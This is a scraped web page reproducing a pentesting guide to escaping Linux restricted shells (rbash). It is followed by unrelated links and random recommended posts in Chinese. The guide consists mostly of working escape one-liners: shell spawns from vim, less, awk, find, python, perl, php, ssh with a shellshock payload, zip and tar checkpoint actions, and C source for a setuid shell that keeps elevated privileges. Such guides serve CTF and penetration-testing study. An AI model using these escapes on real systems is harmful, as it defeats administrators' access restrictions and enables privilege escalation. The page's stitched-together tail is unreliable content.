Linux Restricted Shell Bypass
Author: @n4ckhcker & @h4d3sw0rm
Introduction
Hello, so first of all let’s explain what is a restricted shell ? A restricted shell is a shell that block/restricts some of the commands like cd,ls,echo etc or "block" the environment variables like SHELL,PATH,USER. Sometimes a restricted shell can block the commands with / or the redirecting outputs like >,>>. The types of a restricted shell can be : rbash,rksh,rsh. But now why someone want to create a restricted shell ?
Let’s say some examples :
1)To improve Security
2)To block hackers/pentesters.
3)Sometimes system administrators create a restricted shell to protect theirselves from dangerous commands.
4)For a CTF Challenge. (Root-me/hackthebox/vulnhub)
Enumeration Linux Environment
Enumeration is the most important part. We need to enumeration the Linux environmental to check what we can do to bypass the rbash. We need to enumerate :
1) First we must to check for available commands like cd/ls/echo etc.
2) We must to check for operators like >,>>,<,|.
3) We need to check for available programming languages like perl,ruby,python etc.
4) Which commands we can run as root (sudo -l).
5) Check for files or commands with SUID perm.
6) You must to check in what shell you are : echo $SHELL you will be in rbash by 90%
7) Check for the Environmental Variables : run env or printenv Now let’s move into Common Exploitation Techniques.
Common Exploitation Techniques
Now let’s see some of the common exploitation techniques.
1) If "/" is allowed you can run /bin/sh or /bin/bash.
2) If you can run cp command you can copy the /bin/sh or /bin/bash into your directory.
3) From ftp > !/bin/sh or !/bin/bash
4) From gdb > !/bin/sh or !/bin/bash
5) From more/man/less > !/bin/sh or !/bin/bash
6) From vim > !/bin/sh or !/bin/bash
7) From rvim > :python import os; os.system("/bin/bash )
8) From scp > scp -S /path/yourscript x y:
9) From awk > awk 'BEGIN {system("/bin/sh or /bin/bash")}'
10) From find > find / -name test -exec /bin/sh or /bin/bash \;
Programming Languages Techniques
Now.. let’s look some programming languages techniques.
1) From except > except spawn sh then sh.
2) From python > python -c 'import os; os.system("/bin/sh")'
3) From php > php -a then exec("sh -i");
4) From perl > perl -e 'exec "/bin/sh";'
5) From lua > os.execute('/bin/sh'). or os.system('/bin/bash')
6) From ruby > exec "/bin/sh"
7) From java > Runtime.getRuntime.exec("/bin/bash")
Now let’s move into Advance Techniques.
Advanced Techniques
Now let's move into some dirty advance techniques.
1)From ssh > ssh username@IP - t "/bin/sh" or "/bin/bash"
2)From ssh2 > ssh username@IP -t "bash --noprofile"
3)From ssh3 > ssh username@IP -t "() { :; }; /bin/bash" (shellshock)
4)From ssh4 > ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1 (SUID)
5)From git > git help status > you can run it then !/bin/bash
6)From pico > pico -s "/bin/bash" then you can write /bin/bash and then CTRL + T
7)From zip > zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
8)From tar > tar cf /dev/null testfile --checkpoint=1 --checkpointaction=exec=/bin/bash
C SETUID SHELL :
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h> int main(int argc, char **argv, char **envp){
setresgid(getegid(), getegid(), getegid());
setresuid(geteuid(), geteuid(), geteuid());
execve("/bin/bash",argv,envp);
return ;
}
Referer:
https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf
Linux Restricted Shell Bypass的更多相关文章
- 详解Linux交互式shell脚本中创建对话框实例教程_linux服务器
本教程我们通过实现来讲讲Linux交互式shell脚本中创建各种各样对话框,对话框在Linux中可以友好的提示操作者,感兴趣的朋友可以参考学习一下. 当你在终端环境下安装新的软件时,你可以经常看到信息 ...
- linux中shell变量$#,$@,$0,$1,$2的含义解释
linux中shell变量$#,$@,$0,$1,$2的含义解释: 变量说明: $$ Shell本身的PID(ProcessID) $! Shell最后运行的后台Process的PID $? 最后运行 ...
- 使用C#给Linux写Shell脚本(下篇)
在上篇的<使用C#给Linux写Shell脚本>结尾中,我们留下了一个关于C#如何调用BashShell的问题.在文章发布之后,我留意到有读者留言推荐使用“Pash”(一款类PowerSh ...
- linux中用shell获取昨天、明天或多天前的日期
linux中用shell获取昨天.明天或多天前的日期 时间 -- :: BlogJava-专家区 原文 http://www.blogjava.net/xzclog/archive/2015/12/0 ...
- linux中用shell获取时间,日期
linux中用shell获取昨天.明天或多天前的日期:在Linux中对man date -d 参数说的比较模糊,以下举例进一步说明:# -d, --date=STRING display time d ...
- Linux 的shell 字符串截取很有用。有八种方法。
一 Linux 的字符串截取很有用.有八种方法. 假设有变量 var=http://www.linuxidc.com/123.htm 1 # 号截取,删除左边字符,保留右边字符. echo ${va ...
- Linux Bash Shell 快速入门
BASH 的基本语法 最简单的例子 —— Hello World! 关于输入.输出和错误输出 BASH 中对变量的规定(与 C 语言的异同) BASH 中的基本流程控制语法 函数的使用 2.1 ...
- linux,shell输入反斜杠显示'W'。
linux,shell输入反斜杠显示'W'. solution: 字体必须为"Courier New".
- 06 Linux下Shell介绍
一.概述 每个人在成功登陆Linux后,系统会出现不同的提示符号,例如$,~,#等,然后你就可以开始输入需要的命令.若命令正确,系统就会依据命令的要求来执行,直到注销系统为止,在登陆到注销期间,输入的 ...
随机推荐
- python多线程抓取代理服务器
文章转载自:https://blog.linuxeye.com/410.html 代理服务器:http://www.proxy.com.ru #coding: utf-8 import urllib2 ...
- 使用vue遇到坑
1.请求ajax方式一定要在Vue methods或creads里去请求. 方便做下拉刷新数据 . 2.多看看vue源码. 3.多写tab常项,h5下拉滚动,pc分页效果,回到顶部,提高熟悉vue需求 ...
- CentOS修改系统的默认启动模式为命令号界面
CentOS在安装桌面之后,将图形界面设置为默认模式,给PC内存带来较大压力,所以希望修改系统的默认启动模式为命令号界面,而不启动图形界面.方法如下: 1.以 root用户登录系统:或者 用su切换到 ...
- 2017年终巨献阿里、腾讯最新Java程序员面试题,准备好进BAT了吗
Java基础 进程和线程的区别: Java的并发.多线程.线程模型: 什么是线程池,如何使用? 数据一致性如何保证:Synchronized关键字,类锁,方法锁,重入锁: Java中实现多态的机制是什 ...
- 机器人研发十大热门编程语言:不死 Java、不朽 C/C ++、新贵 Python
流水的编程语言,铁打的 Java.C/C++. 进行人工智能机器人研发,应该选择哪种编程语言? 这是很多机器人专家在自身的职业生涯中都会存在的一个入门级思考.毕竟,在学习一门编程语言时,需要花费大量的 ...
- MpVue开发之框架的搭建
npm install --global vue-cli vue脚手架 vue init mpvue/mpvue-quickstart my-project 创建一个基于mpvue-quickst ...
- logistic 回归Matlab代码
function a alpha = 0.0001; [m,n] = size(q1x); max_iters = 500; X = [ones(size(q1x,1),1), q1x]; % app ...
- python库之selectors
在之前的博客中已经总结过分别在windows和linux操作系统下实现socket高并发(I/O异步)的方法,可以参考基于epoll的TP传输层实现和Windows之IOCP 下面对Python中实现 ...
- MyEclipse2014安装操作步骤+破解
第一步 第二步 第三步 第四步 第五步 第六步 破解操作步骤 1.安装完成 MyEclipse2014(适用于 2013 等版本)后,不要打开软件.解压破解文件压缩包,得到一下文件列表:双击 run. ...
- 洛谷 P2920 [USACO08NOV]时间管理Time Management
传送门 题目大意: 每个工作有截至时间和耗费时间,n个工作求最小开始时间. 题解: 贪心 从n-1安排,让结束时间尽量的晚. 注意:优先级 cout<<st<0?-1:st; (X ...